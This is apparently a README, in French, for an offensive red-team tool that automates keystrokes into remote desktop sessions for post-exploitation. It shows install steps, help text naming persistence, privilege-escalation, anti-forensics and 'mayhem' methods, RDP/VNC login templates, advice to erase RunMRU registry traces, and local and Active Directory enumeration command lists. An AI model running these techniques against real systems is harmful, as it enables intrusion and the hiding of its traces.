
Un script pour automatiser les frappes au clavier via un programme graphique de bureau.
Un script pour automatiser les frappes clavier via une session de bureau à distance active, aidant les opérateurs offensifs en combinaison avec des techniques de « living off the land ». Tout le mérite revient à nopernik pour avoir rendu cela possible, et j’ai donc pris sur moi de l’améliorer. Je voulais quelque chose qui aide pendant la phase de post-exploitation lors de l’exécution de commandes via un bureau à distance. Cela a également permis la réalisation du projet SCPA pour collecter des ressources de manière organisée.
Installez le reste des dépendances selon votre gestionnaire de paquets.``` $ sudo apt install -y xfreerdp-x11 remmina xdotool
$ sudo dnf install -y xdotool freerdp-2 remmina
$ sudo pacman -S freerdp remmina xdotool
$ sudo emerge xwayland freerdp remmina xdotool
$ sudo nix-env -iA nixpkgs.xwayland nixpkgs.xdotool nixpkgs.freerdp nixpkgs.remmina
### Setup
Installez le programme dans le système et créez `rks` comme un lien symbolique de `remotekeystrokes`. Cela sera utilisé comme alias de commande.```
$ sudo wget -O /usr/local/src/remotekeystrokes.sh https://raw.githubusercontent.com/U53RW4R3/RemoteKeyStrokes/main/remotekeystrokes.sh && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/rks && \
sudo chmod 755 /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes /usr/local/bin/rks
$ remotekeystrokes -h Usage: remotekeystrokes
Flags:
COMMON OPTIONS: -c, --command <command | file> Specify a command or a file contains commands to execute
-p, --platform <operating_system> Specify the operating system ("windows" is
set by default if not specified)
-w, --windowname <window_name> Specify the window name to focus on the
active window ("freerdp" is set by default
if not specified)
-h, --help Display this help message
UPLOAD FILES: -i, --input <input_file> Specify the local input file to transfer -o, --output <output_file> Specify the remote output file to transfer
METHODS: -m, --method Specify a method. For command execution method "none" is set by default if not specified. For file transfer "pwshb64" is set by default if not specified. Other available methods are: "elevate", "persistence", "antiforensics", and "mayhem"
-s, --submethod <submethod> Specify a submethod from a method (applies
with -m flag)
-a, --action <action> Specify an action from a method and/or
submethod (applies with -m and/or -s flag)
-e, --evasion <evasion> Specify an evasion method for uploading files
(only works for "pwshb64")
## Utilisation
### 0x00 - Authentification à distance
#### Légendes
- Le signe dollar (`$`) indique une invite de shell Unix avec des privilèges d'utilisateur normal, et il inclut des commandes.
- Les chevrons (`<>`) signifient des paramètres obligatoires.
- Les crochets (`[]`) signifient des paramètres facultatifs s'il n'est pas nécessaire de les spécifier.
#### RDP
Pour authentifier les systèmes d'exploitation modernes, spécifiez l'indicateur soit pour forcer l'authentification en TLS `/sec:tls` ou l'authentification en NLA `/sec:nla`.```
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:<tls | nla> [/d:"<domain_name>"] /u:"<username>" /p:"<password>" /v:<IP>:[<PORT>]
Pour authentifier les systèmes d'exploitation hérités, spécifiez le drapeau /sec:rdp pour forcer l'ancienne authentification.```
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:rdp [/d:"<domain_name>"] /u:"" /p:"" /v::[]
#### VNC
Pour authentifier à distance une machine VNC.```
$ remmina -c vnc://<username>:<password>@<IP>
$ ssh [-p ] @
#### Telnet```
$ telnet <IP> [PORT]
Pour utiliser remotekeystrokes (ou une commande alias rks) lors de l'exécution de commandes sur la cible Windows avec une session distante authentifiée. Avant de les exécuter, vous devez naviguer avec un nom de fenêtre (-w) ; par défaut, il cherchera FreeRDP lors de l'utilisation de xfreerdp. Lorsque vous ciblez des systèmes avec un programme de connexion distant différent, assurez-vous de spécifier le nom de la fenêtre. Spécifiez le drapeau -c pour exécuter des commandes. Vous pouvez également préparer un fichier texte pour insérer des commandes et il les lira une par une. Le drapeau vérifiera s'il s'agit d'une chaîne ou d'un fichier.
Pour les programmes graphiques de bureau à distance tels que FreeRDP, Remmina et autres programmes tiers. Contrairement aux sessions de terminal distant comme telnet et ssh, vous devez déplacer le curseur vers une application active sur la machine cible. Par exemple, dans un environnement Windows, vous devez ouvrir une invite de commandes (cmd.exe) ou powershell (powershell.exe). Il est possible pour Windows d'ouvrir des programmes avec une boîte de dialogue (-m dialogbox) pour un lancement rapide. Assurez-vous d'effacer les traces de l'entrée de registre lorsque vous avez initialement exécuté avec cette méthode. Elle se trouve dans HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Vous verrez des exemples de la manière dont vous pourrez effectuer des mesures offensives rapides avec seulement des techniques Living off the Land (LotL).
Énumération de la machine locale.``` $ cat recon_local_enum_cmds.txt whoami /all net user net localgroup Administrators ipconfig /all systeminfo
$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!
$ rks -c recon_local_enum_cmds.txt [*] Executing commands... [+] Task completed!
Pour exécuter en une seule commande. C'est concis surtout lors de l'utilisation avec une boîte de dialogue.```
$ rks -c "cmd.exe /k \"whoami /all & net user & net localgroup Administrators & ipconfig /all & systeminfo\"" -m dialogbox
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!
Énumération de l'Active Directory.``` $ cat recon_ad_enum_cmds.txt net user /domain net group "Domain Admins" /domain net group "Enterprise Admins" /domain net group "Domain Computers" /domain
$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!
$ rks -c recon_ad_enum_cmds.txt [*] Executing commands... [+] Task completed!
Pour exécuter en une seule commande. Ceci est concis surtout lorsqu'on utilise avec une boîte de dialogue.```
$ rks -c "cmd.exe /k \"net user /domain & net group \"Domain Admins\" /domain & net group \"Enterprise Admins\" /domain & net group \"Domain Computers\" /domain\""
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!
Énumération de la machine locale (TODO)``` $ cat recon_local_enum_cmdlets.txt